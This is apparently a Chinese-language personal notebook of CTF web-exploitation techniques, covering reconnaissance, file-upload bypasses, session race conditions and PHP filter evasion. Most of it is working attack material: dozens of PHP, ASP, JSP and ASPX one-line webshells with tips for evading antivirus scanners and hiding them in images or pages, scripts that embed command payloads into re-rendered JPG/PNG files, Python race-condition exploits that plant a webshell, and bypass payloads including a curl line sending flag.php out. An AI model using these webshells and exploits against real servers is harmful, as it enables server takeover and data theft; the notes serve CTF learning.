收集一切梭哈的笔记。
哪怕再怎么菜也得记住自己学到/遇到过什么东西,才不枉费自己曾经的付出。
信息收集 基本收集 在搜索到phpinfo时,disable_functions出现的所有函数代表的是封禁函数,也就是内部配置的禁用函数。
扫站工具: dirmap 扫目录扫文件,相似的有dirsearch。 dirsearch 扫站工具 ... <其它待收集> https: 扫目录的目的: - 网站备份文件 - 网站的源码泄露文件(.git,.svn,.swp, .bak等) - sql备份文件泄露(backup.sql,/db/db.mdb) - 说明文件:/robots.txt fofa,369 quake 形如:user=admin 1 . 数据包头中返回: X-Powered-By: Express 基本断定为js框架 2 .根据浏览器插件进行判断 伪造身份的时候,有时候不仅仅需要伪造用户名,还要伪造用户头像。 爆破随机数种子的工具:https: 某些网站需要Py脚本进行权限维持,保证权限不过期才能解答出答案。 Python当中用的时session 模板漏洞
nginx相关配置信息 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx/ access.log /var/log/nginx/access.log 配置文件目录为:/usr/local/nginx/conf/nginx.conf
关键文件后缀 .rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log 、.mdb
文件上传 上传木马php,拿下后台 注意事项
1 .修改文件名2 .修改文件类型3 .修改上传的文件头为 GIF89a? a.php/. 绕过php黑名单限制 phtml php (普通情况下) php5 php6 php7 (带版本) Php (大小写)
一句话木马 <script language=php>eval ($_POST [x])</script> <?= eval ($_POST [1 ])><?php eval ($_POST [1 ])?> <?= `cat /f*`?> <%eval request ("c" )%> <%execute request ("c" )%> <%execute (request ("c" ))%> <%ExecuteGlobal request ("sb" )%> %><%Eval (Request (chr (35 )))%><% <%if request ("c" )<>"" then session ("c" )=request ("c" ):end if :if session ("c" )<>"" then execute session ("c" )%> <%eval (Request.Item["c" ],"unsafe" );%> '备份专用 <%eval(request("c")):response.end%> ' 无防下载表,有防下载表突破专用一句话 <%execute request ("c" )%><%<%loop<%:%> <%<%loop<%:%><%execute request ("c" )%> <%execute request ("c" )<%loop<%:%> '防杀防扫专用 <%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%> ' 不用"<,>" <script language=VBScript runat=server>execute request ("c" )</script> <% @Language="JavaScript" CodePage="65001" var lcx={'名字' :Request.form ('#' ),'性别' :eval ,'年龄' :'18' ,'昵称' :'请叫我一声老大' };lcx.性别((lcx. 名字)+'' ) %> <script language=vbs runat=server>eval (request ("c" ))</script> <script language=vbs runat=server>eval_r (request ("c" ))</script> '不用双引号 <%eval request(chr(35))%> ' 可以躲过雷客图 <%set ms = server.CreateObject ("MSScriptControl.ScriptControl.1" ) ms.Language="VBScript" ms.AddObject"response" ,response ms.AddObject "request" ,request ms.ExecuteStatement ("ev" &"al(request(" "c" "))" )%> <%dy=request ("dy" )%><%Eval (dy)%> '容错代码 if Request("sb")<>"" then ExecuteGlobal request("sb") end if PHP一句话 复制代码代码如下: <?php eval($_POST1);?> <?php if(isset($_POST[' c'])){eval($_POST[' c']);}?> <?php system($_REQUEST1);?> <?php ($_=@$_GET1).@$_($_POST1)?> <?php eval_r($_POST1)?> <?php @eval_r($_POST1)?>//容错代码 <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 <?$_POST[' c']($_POST[' cc']);?> <?$_POST[' c']($_POST[' cc'],$_POST[' cc'])?> <?php @preg_replace("/[email]/e",$_POST[' h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> <?php echo `$_GET[' r']` ?> //绕过<?限制的一句话 <script language="php">@eval_r($_POST[sb])</script> JSP一句话 复制代码代码如下: <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 提交客户端 <form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form> ASPX一句话 <script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 再补充几个: 推荐还是把一句话加进图片里面去。 普通的php一句话:<?php @eval($_POST[' r00ts']);?> 普通的asp一句话:<%eval(Request.Item["r00ts"],”unsafe”);%> aspx突破一流的: [code] dim da set fso=server.createobject("scripting.filesystemobject") path=request("path") if path<>"" then data=request("da") set da=fso.createtextfile(path,true) da.write data if err=0 then Response.Write "yes" else Response.Write "no" end if err.clear end if set da=nothing set fos=nothing Response.Write "<form action=" method=post>" Response.Write "<input type=text name=path>" Response.Write "<br>" Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name")) Response.Write "<br>" Response.Write "操作系统为:"&Request.ServerVariables("OS") Response.Write "<br>" Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE") Response.Write "<br>" Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>" Response.Write "<br>" Response.Write "<input type=submit value=save>" Response.Write "</form>" </Script> ASP一句话:<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> PHP防杀放扫 一句话:<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的! 因为加了判断!加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!<?if(isset($_POST[' 1 '])){eval($_POST[' 1 ']);}?><?php system ($_REQUEST[1]);?> 无防下载表,有防下载表可尝试插入以下语句突破的一句话 <%execute request(“class”)%><%' <% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)' <% loop <%:%> 备份专用<%eval (request (“1 ″)):response.end%> asp一句话<%execute (request (“1 ″))%> aspx一句话:<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 可以躲过雷客图的一句话。 <%set ms = server.CreateObject (“MSScriptControl.ScriptControl.1 ″) ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”, requestms.ExecuteStatement (“ev”&”al (request (“”1 ″”))”)%> 不用'<,>‘的asp一句话<scriptrunat=server>execute request(“1″)</script> 不用双引号的一句话。<%eval request(chr(35))%> #-------------------- # 先知社区一句话木马免杀:https://xz.aliyun.com/t/9246 #正在收集当中……
上传配置文件(修改配置环境) MIME类型
上传配置文件,属于文件上传漏洞的一种类型。
.user.ini 上传配置文件后修改的是某个文件的解析,不是修改所有文件的解析
.user.ini文件 – nginx
环境:nginx 功能:将指定文件解析为php 文件名: .user.ini 配置信息: GIF89a auto_prepend_file=a.jpg
.hstaccess – apache
适用环境:apache 功能:将指定后缀的文件解析为php AddType application/x-httpd-php .png
文件上传之数据包过滤 ($_FILES ["file" ]["size" ] / 1024 ) > 1024 .php .phtml .pHp .php4 if ($_FILES ['file' ]['type' ] != 'image/png' ){ die ('error' ); }
文件上传其它物件 # 可能存在文件上传并且包含的标志: /upload/download.php?file=2eaa7cebaf94009ea6f40c3841dca980.zip # 某个特殊的文件头 Content-Type: application/x-zip-compressed
jpg二次渲染脚本 <?php $miniPayload = '<?=system("cat f*");?>' ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { $argv [1 ] = '1.jpg' ; } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { echo "error" ; break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } } ?> 作者:J_Chanra https:
使用方法:
png二次渲染脚本 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); } imagepng ($img ,'./1.png' );?>
使用方法:
文件上传之条件竞争 Session条件竞争 源头:https://www.freebuf.com/vuls/202819.html
wp:https://blog.csdn.net/weixin_45696568/article/details/114445971
本文主要是利用PHP中的session.upload_progress
功能作为跳板,从而进行文件包含和反序列化漏洞利用。由于首先需要了解关于session及其反序列化等相关的知识,所以对它们先进行介绍。有不对的地方,欢迎各位大佬指正。
php中的session.upload_progress 版本: >= php 5.4 php.ini文件
前四个配置为主。
session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" session.upload_progress.freq = "1%" session.upload_progress.min_freq = "1"
Session相关信息:web82~?
参考自此师傅的文章:https://xz.aliyun.com/t/9545
前置信息 # 存储位置: phpinfo反馈关键字段: session.save_path # /var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID #未设置时的存储位置 /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID # sess_SESSIONID sess_ : 默认前缀 SESSIONID: 使用的时候生成的随机字符串 # # # # 与SESSION相关的PHP配置项 # 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。 但默认情况下,也是通常情况下,这个选项都是默认关闭的。 # 表示当文件上传结束后,php将会立即清空对应session文件中的内容。 该选项默认开启 # 默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
Session Upload Progress 直译:Session 上传进度
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时, 上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
样例 官方
<form action="upload.php" method="POST" enctype="multipart/form-data" > <input type="hidden" name="<?php echo ini_get(" session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
对应的数组
<?php $_SESSION ["upload_progress_123" ] = array ( "start_time" => 1234567890 , "content_length" => 57343257 , "bytes_processed" => 453489 , "done" => false , "files" => array ( 0 => array ( "field_name" => "file1" , "name" => "foo.avi" , "tmp_name" => "/tmp/phpxxxxxx" , "error" => 0 , "done" => true , "start_time" => 1234567890 , "bytes_processed" => 57343250 , ), 1 => array ( "field_name" => "file2" , "name" => "bar.avi" , "tmp_name" => NULL , "error" => 0 , "done" => false , "start_time" => 1234567899 , "bytes_processed" => 54554 , ), ) );
利用方法 方法1:初始一个随机sessionid 表单:
<!doctype html > <html > <body > <form action ="http://192.168.43.82/index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" /> </form > </body > </html >
表单对应的数据包:
在数据包HTTP头添加: Cookie: PHPSESSID
方法2:GETShell 某个session条件竞争的脚本:
import ioimport sysimport requestsimport threadingsessid = 'whoami' def POST (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( 'http://192.168.43.82/index.php' , data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>" }, files={"file" :('q.txt' , f)}, cookies={'PHPSESSID' :sessid} ) def READ (session ): while True : response = session.get(f'http://192.168.43.82/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid} ' ) if 'flag' not in response.text: print ('[+++]retry' ) else : print (response.text) sys.exit(0 ) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
另外一个利用脚本:
import threadingsessid = 'TGAO' data = {"cmd" :"system('whoami');" } def write (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) resp = session.post( 'http://127.0.0.1:5555/test56.php' , data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST["cmd"]);?>' }, files={'file' : ('tgao.txt' ,f)}, cookies={'PHPSESSID' : sessid} ) def read (session ): while True : resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_' +sessid,data=data) if 'tgao.txt' in resp.text: print (resp.text) event.clear() else : print ("[+++++++++++++]retry" ) if __name__=="__main__" : event=threading.Event() with requests.session() as session: for i in xrange(1 ,30 ): threading.Thread(target=write,args=(session,)).start() for i in xrange(1 ,30 ): threading.Thread(target=read,args=(session,)).start() event.set ()
命令执行 数据包伪造 X-Forwarded-For: 127.0 .0.1 Referer: www.baidu.com User-Agent: Syclover X-Forwarded-For:127.0 .0.1 X-Forwarded:127.0 .0.1 Forwarded-For: 127.0 .0.1 Forwarded: 127.0 .0.1 X-Forwarded-Host: 127.0 .0.1 X-remote-IP: 127.0 .0.1 X-remote-addr: 127.0 .0.1 True-Client-IP: 127.0 .0.1 X-Client-IP: 127.0 .0.1 Client-IP: 127.0 .0.1 X-Real-IP: 127.0 .0.1 Ali-CDN-Real-IP:127.0 .0.1 Cdn-Src-Ip: 127.0 .0.1 Cdn-Real-Ip: 127.0 .0.1 CF-Connecting-IP: 127.0 .0.1 X-Cluster-Client-IP: 127.0 .0.1 WL-Proxy-Client-IP: 127.0 .0.1 Proxy-Client-IP: 127.0 .0.1 Fastly-Client-Ip :127.0 .0.1 True-Client-Ip :127.0 .0.1 GIF89a? `comment` => c\at fla\g\.p\hp 使用谷歌浏览器source进行调试,在console台修改js变量即可 如果太复杂只能再深入分析了
php可执行函数 show_source (next (array_reverse (scandir (pos (localeconv ()))))); eval (): $GLOBALS $_GET () $_POST () $_SERVER get_defined_vars () urlencode () urldecode () base64_encode () base64_decode () bin2hex () & hex2bin () chr () strstr () trim () substr () strcmp () class_exists () 功能 :检查类是否已定义 定义 : bool class_exists ( string $class_name [, bool $autoload = true ] ) $class_name 为类的名字,在匹配的时候不区分大小写。 默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数; 当 $autoload 为 false 时,则不调用 __autoload 函数。 '' ' class_exists() 函数来判断用户传过来的控制器是否存在, 默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数, 这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件, 当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。 例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容 ' '' `ls ../` __autoload () "" " 在实际项目中,不可能把所有的类都写在一个 PHP 文件中, 当在一个 PHP 文件中需要调用另一个文件中声明的类时,就需要通过 include 把这个文件引入。 不过有的时候,在文件众多的项目中,要一一将所需类的文件都 include 进来, 一个很大的烦恼是不得不在每个类文件开头写一个长长的包含文件的列表。 我们能不能在用到什么类的时候,再把这个类所在的 php 文件导入呢? 为此,PHP 提供了 __autoload() 方法,它会在试图使用尚未被定义的类时自动调用。 通过调用此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 __autoload() 方法接收的一个参数,就是欲加载的类的类名, 所以这时候需要类名与文件名对应,如 Person.php ,对应的类名就是 Pserson 。 " "" extract () extract ($_GET ); parse_str ( string $query_string , array &$result ) explode () sort () rsort () asort () arsort () ksort () krsort () file_get_contents () file_put_contents () scandir () var_dump () print_r () return exit () die () strrev ('Hello world!' ) mt_srand () mt_rand ()
PHP传参+绕过 PHP绕过的大佬文章点我
更多更详细绕过参照:点我
传参涉及的php函数 可执行函数 eval () assert () PHP 5 assert ( mixed $assertion [, string $description ] ) : bool PHP 7 assert ( mixed $assertion [, Throwable $exception ] ) : bool assert ()会检查指定的assertion并在结果为false 时采取适当的行动。 在PHP5或PHP7中,如果assertion是字符串,它将会被assert ()当做PHP代码来执行。 preg_replace ()+/e preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed 搜索subject中匹配pattern的部分,以replacement进行替换。 如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行 PS: preg_replace ()+函数的/e修饰符在PHP7中被移除 create_function () create_function ( string $args , string $code ) : string implode () parse_str () extract ()
可回调函数 array_map () array_map ( callable $callback , array $array , array ...$arrays ) : array 返回数组,是为array 每个元素应用callback函数之后的数组。 array_map ()返回一个array ,数组内容为array1的元素按索引顺序为参数调用callback后的结果 (有更多数组时,还会传入arrays的元素)。 callback函数形参的数量必须匹配array_map ()实参中数组的数量。 ?c=assert&arg[]=phpinfo (); call_user_func () call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed 第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。 ?c=assert&arg[]=phpinfo (); call_user_func_array () call_user_func_array ( callable $callback , array $param_arr ) : mixed 把第一个参数作为回调函数callback调用,把参数数组作param_arr为回调函数的的参数传入。跟array_map ()相似 ?c=assert&arg[]=phpinfo (); array_filter () array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array 依次将array 数组中的每个值传递到callback函数。 如果callback函数返回true ,则array 数组的当前值会被包含在返回的结果数组中。 数组的键名保留不变。 ?arg[]=phpinfo ()&cmd=assert; usort () usort ( array &$array , callable $value_compare_func ) : bool _ () 等同于 gettext () 唯一有别名的函数 call_user_func (call_user_func ($f1 ,$f2 ))
字符拼接绕过 a.b.c.d 字符串拼接绕过适用于绕过过滤具体关键字的限制 适用PHP版本:PHP>=7 (p.h.p.i.n.f.o)(); (sy.(st).em)(whoami); (sy.(st).em)(who.ami); (s.y.s.t.e.m)("whoami" ); .......
在PHP中不一定需要引号(单引号/双引号)
来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)mochu7;
,在这种情况下,$name
就包含字符串"mochu7"
,此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串
来处理
字符串转义绕过
适用PHP版本:PHP>=7
以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如”\400” == “\000”) 以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41”) 以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
注意这里转义后的字符必须双引号包裹传参
payload处理脚本:
def hex_payload (payload ): res_payload = '' for i in payload: i = "\\x" + hex (ord (i))[2 :] res_payload += i print ("[+]'{}' Convert to hex: \"{}\"" .format (payload,res_payload)) def oct_payload (payload ): res_payload = "" for i in payload: i = "\\" + oct (ord (i))[2 :] res_payload += i print ("[+]'{}' Convert to oct: \"{}\"" .format (payload,res_payload)) def uni_payload (payload ): res_payload = "" for i in payload: i = "\\u{{{0}}}" .format (hex (ord (i))[2 :]) res_payload += i print ("[+]'{}' Convert to unicode: \"{}\"" .format (payload,res_payload)) if __name__ == '__main__' : payload = 'phpinfo' hex_payload(payload) oct_payload(payload) uni_payload(payload)
传参绕过总集–self %0a相关参照点我
1 . 四则运算:+-*/2 . 三元表达式:c?a:b echo readfile ($f ); GET:?f=../ctfshow/../../../../../../../var /www/html/flag.php 就目前遇到的情况来说,是这样子的:调用出现的诸多类实现某个具体的功能,从而得到flag。 try {$dbh =new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' );foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ){echo ($row [0 ])."|" ;}$dbh =null ;}catch (PDOException $e ){echo $e ->getMessage ();exit (0 );}exit (0 );$ffi = FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );c=?> <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );} exit (0 );?> c=?> <?php $ffi =FFI::cdef ("int system(const char *command);" );$a = 'cat /flag > /var/www/html/poc.txt' ;$ffi ->system ($a );exit ();?> c=require ('/flag.txt' );exit (); 形如: GET: http: POST: val=ww&key=1 POST: a[b.c=123 后台显示的参数名: a_b.c=123 PHP v5.6.40 ?..CTFSHOW..=1 =这个get传参等价于=> $_GET [__CTFSHOW__]=1 形如:a=134 %20 形如:a=134 %00 "and" ,"*" ,"=" ,"\"," -"," <>" " 别看我,我是用来保证代码着色的双引号 1 =='1adasd' => true md5 ($key1 ) == md5 ($key2 ) 当md5编译的字符串返回结果以0 e开头时,弱类型对比下默认相等(==) md5弱类型给出俩个例子: s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 a[]=1 is_numeric (): 1 . 十六进制+数组:j[]=58 B 2 . 空字符和00 截断绕过 1315 %00 1315 %20 3 . 字符串转数值型转换绕过:111 fff => 111 preg_match (正则,字符串): die (); str_replace () if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } 形如: 某执行:eval ($_GET ['a' ]);其中,对$_GET ['a' ]有若干限制。 GET:?a=$_POST [1 ] POST:1 =system ('tac /flag.txt' ); c=$pi =$_GET [a]($_GET [b])&a=system&b=cat /flag $num !=='36' and $num =='36' GET:?num=%0 c36 $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; echo str_repeat ('very' , '250000' ).'36Dctfshow' ; ?F=`$F `;+curl -X POST -F xx=@flag.php http:
PHP类方法调用 涉及的函数:call_user_func ($_POST [a]) class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } ?a=ctfshow::getFlag ?a[0 ]=ctfshow&a[1 ]=getFlag
PHP绕过preg_replace的\e模式 这个没参考有些东西还真的考虑不到。利用字符串和动态的变量还有双引号可执行变量来绕过。
参考链接放下面:
第一次启发是这位大佬: https: 第二次是自己想到了使用参数逃逸+本地测试 本地测试环境自己搭。 下面的部分是有些参考价值的,只不过没第一个多(个人看法) https: https: https:
例题:
<?php error_reporting (0 );if (isset ($_GET ['code' ]) && isset ($_POST ['pattern' ])){ $pattern =$_POST ['pattern' ]; if (!preg_match ("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i" ,$code )) { $code =$_GET ['code' ]; preg_replace ('/(' . $pattern . ')/ei' ,'print_r("\\1")' , $code ); echo "you are smart" ; }else { die ("try again" ); } }else { die ("it is begin" ); } ?> ?> }
绕过方法
GET: http: POST: pattern=.*&key=system ('tac index.php' ); return : 当然是flag相关的内容啦,这里不赘述。
php按位取法运算符绕过限制 ~ $ php -r "echo urlencode(~'cat f*');" %9 C%9 E%8 B%DF%99 %D5 a=(~%9 C%9 E%8 B%DF%99 %D5)
php异或非ascii与ascii绕过字母数字下划线限制 脚本1+理解 无字母数字的还有另外一个参照,和下面的无关:https://blog.csdn.net/a15803617402/article/details/83589181
$v1 和$v2 => 数字;preg_match ('/^\W+$/' , $v3 );phpinfo (); ==> 可以执行1 +phpinfo ()+1 ;==> 也可执行1 +('phpinfo' )()+1 ;==> 依然可执行异或:XOR,^ 1111 1010 %fa 1000 1010 %8 a ------------- 0111 0000 %70 1111 1010 %fa 1001 0010 %92 ------------ 0110 1000 %68 $ php -r "echo urldecode('%fa%fa')^urldecode('%8a%92');" ph 利用php脚本,跑出的能显示的ascii码二进制在8 bit当中也全是首位0 当首位大于1 时,必定是大于ascii码的。
php脚本,win cmd跑即可:
<?php while (true ) { echo "Please give me the key string: " ; $a = rtrim (fgets (STDIN), "\r\n" ); echo 'value: (' ; for ($i = 0 ; $i < strlen ($a ); $i ++) { echo urlencode (urldecode ('%fa' ) ^ urldecode ('%' . bin2hex ($a [$i ]))); } echo '^' ; for ($i = 0 ; $i < strlen ($a ); $i ++) { echo '%fa' ; } echo ')' . PHP_EOL; }
具体的可以使用的ascii码值:
00100000 20 00100001 ! 21 00100010 " 22 00100011 # 23 00100100 $ 24 00100101 % 25 00100110 & 26 00100111 ' 27 00101000 ( 28 00101001 ) 29 00101010 * 2a 00101011 + 2b 00101100 , 2c 00101101 - 2d 00101110 . 2e 00101111 / 2f 00110000 0 30 00110001 1 31 00110010 2 32 00110011 3 33 00110100 4 34 00110101 5 35 00110110 6 36 00110111 7 37 00111000 8 38 00111001 9 39 00111010 : 3a 00111011 ; 3b 00111100 < 3c 00111101 = 3d 00111110 > 3e 00111111 ? 3f 01000000 @ 40 01000001 A 41 01000010 B 42 01000011 C 43 01000100 D 44 01000101 E 45 01000110 F 46 01000111 G 47 01001000 H 48 01001001 I 49 01001010 J 4a 01001011 K 4b 01001100 L 4c 01001101 M 4d 01001110 N 4e 01001111 O 4f 01010000 P 50 01010001 Q 51 01010010 R 52 01010011 S 53 01010100 T 54 01010101 U 55 01010110 V 56 01010111 W 57 01011000 X 58 01011001 Y 59 01011010 Z 5a 01011011 [ 5b 01011100 \ 5c 01011101 ] 5d 01011110 ^ 5e 01011111 _ 5f 01100000 ` 60 01100001 a 61 01100010 b 62 01100011 c 63 01100100 d 64 01100101 e 65 01100110 f 66 01100111 g 67 01101000 h 68 01101001 i 69 01101010 j 6a 01101011 k 6b 01101100 l 6c 01101101 m 6d 01101110 n 6e 01101111 o 6f 01110000 p 70 01110001 q 71 01110010 r 72 01110011 s 73 01110100 t 74 01110101 u 75 01110110 v 76 01110111 w 77 01111000 x 78 01111001 y 79 01111010 z 7a 01111011 { 7b 01111100 | 7c 01111101 } 7d 01111110 ~ 7e
脚本2 异或注入的参照:https://blog.csdn.net/miuzzx/article/details/108569080
下面是摘自其他人的参照:
